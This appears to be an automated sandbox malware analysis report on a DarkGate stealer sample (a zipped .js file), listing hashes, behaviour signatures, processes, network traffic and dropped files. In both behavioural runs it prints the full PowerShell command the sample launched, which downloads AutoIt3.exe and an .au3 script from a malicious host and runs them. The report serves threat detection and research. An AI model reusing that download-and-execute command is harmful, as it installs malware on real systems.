Malware Analysis Report

2024-11-30 11:22

Sample ID 231105-l252tagb44
Target ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.zip
SHA256 dffb4245c1dd2429343a189120bc4f1a601dd5b3012bc66a67d17dd85a5efa62
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

dffb4245c1dd2429343a189120bc4f1a601dd5b3012bc66a67d17dd85a5efa62

Threat Level: Known bad

The file ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.zip was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Checks processor information in registry

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-05 10:02

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-05 10:02

Reported

2023-11-05 10:02

Platform

win7-20231023-en

Max time kernel

4s

Max time network

2s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiyfjjdsnw' -OutFile 'yfjjdsnw.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'yfjjdsnw.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/2044-4-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

memory/2044-5-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

memory/2044-6-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

memory/2044-7-0x0000000002920000-0x00000000029A0000-memory.dmp

memory/2044-8-0x0000000002920000-0x00000000029A0000-memory.dmp

memory/2044-9-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

memory/2044-10-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-05 10:02

Reported

2023-11-05 10:05

Platform

win10v2004-20231023-en

Max time kernel

141s

Max time network

148s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiyfjjdsnw' -OutFile 'yfjjdsnw.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'yfjjdsnw.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" yfjjdsnw.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 showmoreresultonliner.com udp
US 195.123.233.152:2351 showmoreresultonliner.com tcp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 121.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 152.233.123.195.in-addr.arpa udp
US 8.8.8.8:53 155.245.36.23.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 58.252.72.23.in-addr.arpa udp
US 195.123.233.152:2351 showmoreresultonliner.com tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 163.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 12.173.189.20.in-addr.arpa udp

Files

memory/5028-0-0x0000026F6AB60000-0x0000026F6AB82000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_un5lheiq.wdu.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5028-10-0x00007FFBD67F0000-0x00007FFBD72B1000-memory.dmp

memory/5028-11-0x0000026F6A130000-0x0000026F6A140000-memory.dmp

memory/5028-13-0x0000026F6A130000-0x0000026F6A140000-memory.dmp

memory/5028-12-0x0000026F6A130000-0x0000026F6A140000-memory.dmp

memory/5028-14-0x00007FFBD67F0000-0x00007FFBD72B1000-memory.dmp

memory/5028-15-0x0000026F6A130000-0x0000026F6A140000-memory.dmp

memory/5028-16-0x0000026F6A130000-0x0000026F6A140000-memory.dmp

memory/5028-17-0x0000026F6A130000-0x0000026F6A140000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/5028-31-0x00007FFBD67F0000-0x00007FFBD72B1000-memory.dmp

C:\tepp\yfjjdsnw.au3

MD5 fe9e5fe5f346caa35bed17f44ae01aae
SHA1 aa5229f252f7a27ab39838dcea732c5a622ccfe7
SHA256 dff942a5e4e09480637208b09ee7ff4c6c4531981dc4f122baa29a63dd6fba66
SHA512 d52721bdf642ac9c26408102a19e22b7e9bc7efcdb15b9b66df646bacdb59001a0a5cc37ff5d8137e933a5c32367f4bcc8c2817c333ef19f5734711b683c8523

memory/4084-34-0x0000000001210000-0x0000000001610000-memory.dmp

memory/4084-35-0x0000000004590000-0x00000000048BA000-memory.dmp

memory/4084-36-0x0000000004590000-0x00000000048BA000-memory.dmp